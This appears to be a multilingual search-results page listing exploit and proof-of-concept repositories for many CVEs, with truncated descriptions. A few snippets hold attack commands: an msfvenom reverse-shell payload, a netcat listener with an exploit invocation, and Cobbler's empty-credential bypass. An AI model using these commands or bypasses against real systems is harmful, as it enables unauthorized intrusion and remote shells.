627495 matches found
CVE-2021-31630
CVE-2021-31630 OpenPLC 3 WebServer 認証済みリモートコード実行。 説明 Open PLC Webserver v3 にはコマンドインジェクションが存在し、リモートの攻撃者が任意のコードを実行できます。HTB の Wifinetictwo.htb マシンでのみテスト済みです。 この脆弱性を悪用するすべてのスクリプトで問題が発生しました。おそらく Parrot を使用しているか、ブラウザが原因かもしれません。ログインには Chromium が動作しますが、Firefox ではログインに問題があり、ログイン用の POST リクエストで Web...
CVE-2024-4577
CVE-2024-4577: PHP の CGI 設定における重大な脆弱性 PHP の CGI モードには深刻なセキュリティ上の欠陥が存在し、攻撃者が URL パラメータを操作することで任意のコマンドを実行できるようになります。 影響を受けるバージョン Windows 上で php-cgi を実行している PHP 7.4.29 未満および 8.0.19 未満のバージョン。 攻撃手法 攻撃者は、特別に細工したリクエストを PHP CGI...
CVE-2025-10230
CVE-2025-10230: Samba Critical RCE CVSS 10.0 脆弱性の概要 CVE-2025-10230は、Sambaのコードベースに13年間潜伏していた重大なリモートコード実行（RCE）脆弱性です。 この欠陥は、WINS（Windows Internet Name Service）レジスターパケットの処理にあります。Domain Controllerとして wins support = yes が設定され、wins hook にスクリプトが定義されている場合、Sambaは受信したNetBIOS名のサニタイズに失敗します。...
Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958
カスタムエクスプロイト : Foxit Reader バージョン 9.0.1.1049 ヒープ上でASLRおよびDEPバイパスを伴うUse After Free マイカスタムエクスプロイト : Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958 Win 7用カスタムエクスプロイト シェルコード用のスペースを確保 カスタムROPチェーンがヒープ内にシェルコード用のスペースを確保 Win 7用...
Mitigate-CVE-2023-46747
Ansible Playbook para Mitigar CVE-2023-46747 K000137353: Vulnerabilidad de ejecución remota de código no autenticado en la utilidad de configuración de BIG-IP CVE-2023-46747 Aquí está el enlace https://my.f5.com/manage/s/article/K000137353 Cómo usarlo 1. Clona mi repositorio...
EUVD-2026-68922
Eval injection in cPanel 11.138.0.0 and earlier allows remote authenticated users to execute arbitrary code as root...
CVE-2026-65643
cPanel & WHM versions prior to 11.138.0.2 (and older branches 11.110, 11.134, 11.136) contain an eval injection in the domain parking and addon domain functionality. An authenticated user with permission to add parked or addon domains can create arbitrary files on the server, escalating to code e...
CVE-2026-65643
Eval injection in cPanel 11.138.0.0 and earlier allows remote authenticated users to execute arbitrary code as root...
CVE-2025-22953
CVE-2025-22953 – Epicor HCM 認証不要のBlind SQL Injection 【更新 – Epicorによるパッチリリース】 Epicorはこの脆弱性に対処するパッチを正式にリリースしました。影響を受けるすべてのユーザーは、すぐにアップデートを適用することを強くお勧めします。 🔗 Epicor Security Patch Announcement 概要 認証不要の Blind SQL Injection 脆弱性が Epicor HCM ソフトウェア、バージョン 2021 1.9...
CVE-2021-32099
CVE-2021-32099 PoC 本仓库提供了针对 CVE-2021-32099 漏洞的概念验证（PoC）漏洞利用代码，该漏洞影响 Pandora FMS 742 。该漏洞利用演示了未经身份验证的攻击者如何利用 SQL 注入漏洞将会话从非特权级别提升到管理员级别。获得管理权限后，攻击者可通过 Pandora FMS File Manager 上传任意 PHP 文件，从而实现远程代码执行，并以 Web 服务器用户身份入侵服务器。 ⚠️ 免责声明 本项目仅用于教育、研究和经授权的安全测试目的 。 请勿在你不拥有或未经明确许可的系统上使用此代码。 作者不对 任何损坏或误用负责 。 安装...
spring-break_cve-2017-8046
spring-breakcve-2017-8046 これは Spring Break 脆弱性 CVE-2017-8046 を悪用するJavaプログラムです。 このソフトウェアは、外部依存関係を可能な限り少なくするように書かれています。 免責事項 このツールは、セキュリティエンジニアおよびアプリセキュリティ担当者がセキュリティ評価を行うことを目的としています。このツールは責任を持って使用してください。本アプリケーションの使用方法について、私は一切責任を負いません。また、このツールの使用によって生じた損害や犯罪についても、私は一切責任を負いません。 脆弱性情報 CVE-ID :...
gitlab_rce_cve-2022-2884
gitlabrcecve-2022-2884 これは、CVE-2022-2884 として知られる GitLab の認証済み RCE 脆弱性を悪用する Python3 プログラムです。 免責事項 このツールは、セキュリティエンジニアおよびアプリケーションセキュリティ（AppSec）担当者がセキュリティ評価を行うことを目的としています。このツールは責任を持って使用してください。本アプリケーションの使用方法については一切責任を負いません。このツールを使用して引き起こされた損害や犯された犯罪についても、一切責任を負いません。 脆弱性情報 CVE-ID : CVE-2022-2884 リンク :...
CVE-2023-26360-RCE
CVE-2023-26360 - ColdFusion 2021 上的远程代码执行 有时，脚本在第一次尝试时不会生效。多试几次即可 如何执行 使用 msfvenom 创建载荷 root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java 启动 server.py 该服务器将在使用 cve.2023-26360.py 完成初始访问后，将载荷发送到 Coldfusion 服务器，因此需要先启动它。 root@kitploit: python3 server.py 8000 参数...
CVE-2024-47533
CVE-2024-47533 - Cobbler XMLRPC 认证绕过远程代码执行漏洞利用 Cobbler 中通过认证绕过的严重远程代码执行漏洞 PoC 实现。 概述 Cobbler 是一个 Linux 安装服务器，能够快速设置网络安装环境，在 3.0.0 至 3.2.3（不含）和 3.3.7（不含）版本中存在一个认证漏洞。函数 utils.getsharedsecret 始终返回 -1，允许任何人使用空用户名 '' 和密码 -1 连接到 Cobbler XML-RPC 接口。这使得具有网络访问权限的攻击者能够完全控制 Cobbler 服务器。该漏洞已在 3.2.3 和 3.3.7...
CVE-2025-25257
CVE-2025-25257 watchtowr および GitHub で見つけた他の研究者によって公開された CVE-2025-25257 のエクスプロイトは、公式ベンダーサイトからダウンロードした私の fortiweb 環境では動作しませんでした。これらのエクスプロイトコードの一部を流用して、自分の環境でリバースシェルを起動できる PoC を作成しました。リバースシェルの IP アドレスとポートはハードコードされているため、もちろん変更する必要があります。 エクスプロイトの解析とウォークスルーは、私の YouTube チャンネルの 2...
CVE-2024-28397-Reverse-Shell
CVE-2024-28397-Reverse-Shell CVE-2024-28397 用のリバースシェル。 エクスプロイトは js2py = v0.74 で動作します。 要件 requests ライブラリ pip install requests Python3 Netcat リバースシェルのリスナーとして使用できるもの 使用方法 リスナー用 root@kitploit: nc -lnvp 4444 エクスプロイト用 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11...
Mailcow-CVE-2022-31245
Mailcow CVE-2022-31245 CVE-2022-31245: Mailcow 向けの RCE および Domain Admin 権限昇格。PoC を含む。 報告および修正: 2022-05 パッチ適用バージョン: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE: https://vulners.com/cve/CVE-2022-31245 CVE-2022-31245: コマンドインジェクション, RCE 重要度: 3/3 タイプ: コマンドインジェクション, RCE,...
CVE-2021-3130
CVE-2021-3129 又一个针对CVE-2021-3129的利用工具！具有更多功能和更高可靠性。基于https://pentest-tools.com/blog/exploit-rce-vulnerability-laravel-cve-2021-3129 免责声明：此脚本用于审计系统安全性。请仅在您自己的系统或已获得书面授权测试的系统上使用此脚本。...